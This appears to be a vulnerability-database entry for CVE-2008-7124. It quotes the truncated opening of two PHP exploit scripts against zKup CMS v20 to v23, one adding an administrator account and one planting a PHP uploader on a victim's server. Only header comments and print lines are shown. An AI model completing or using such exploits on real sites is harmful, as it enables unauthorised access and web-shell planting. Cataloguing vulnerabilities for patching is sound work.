CVE-2008-7124

#!/usr/bin/php <?php /* * Name: zKup CMS v20 <= v23 0-day exploit (add admin) * Credits: Charles "real" F <charlesfol[at]hotmailfr> * Date: 03-08-2008 * Conditions: None * * This exploit add a new zKup admin * */ print "\n"; print " zKup CMS v20 <= v23 0-day exploit (add admin)\n"; print " by Charles \" ...

#!/usr/bin/php <?php /* * Name: zKup CMS v20 <= v23 0-day exploit (upload) * Credits: Charles "real" F <charlesfol[at]hotmailfr> * Date: 03-08-2008 * Conditions: PHP Version, magic_quotes_gpc=Off * * This exploit spawn a php uploader in your victim's * server * * Okay, you may need explanations: * * First, we can u ...